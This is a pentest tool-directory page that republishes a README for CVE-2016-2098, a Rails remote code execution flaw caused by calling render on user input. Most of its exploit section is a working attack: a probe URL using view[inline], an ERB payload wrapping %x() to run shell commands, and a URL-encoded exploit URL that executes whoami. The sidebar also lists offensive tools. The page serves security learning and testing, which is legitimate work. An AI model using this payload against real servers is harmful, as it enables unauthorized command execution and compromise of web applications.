Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2016-2098 — Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data. | Kitploit
Tools/GitHubGitHub/j4k0m/cve-2016-2098
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubj4k0m/cve-2016-2098

CVE-2016-2098

Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data.

View Repository
4125 years agoNot yet reviewed
Share

CVE-2016-2098

Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data.

Explanation:

This issue comes from the usage of the render method on user-supplied data.

The method render is usually used to render a page from a template, but render method also allows developers to render plain text (plaintext) and even inline code (inline).

render function:

# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
  options = _normalize_render(*args, &block)
  rendered_body = render_to_body(options)
  if options[:html]
    _set_html_content_type
  else
    _set_rendered_content_type rendered_format
  end
  _set_vary_header
  self.response_body = rendered_body
end

Exploitaion Example:

Target URL:

http://example.com/?view=test

Exploitaion:

http://example.com/?view[inline]=OK

If 'OK' showen in the source code then the web application is vulnerable to CVE-2016-2098.

Remote Code Execution

<%= %x('[CMD]') %>

We can replace CMD to our command that we want it to be excutued.

<%= %x('whoami') %>

After URL encoding:

%3C%25=%20%25x(whoami)%20%25%3E

Final:

http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E

Resources:

  • https://guides.rubyonrails.org/layouts_and_rendering.html
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →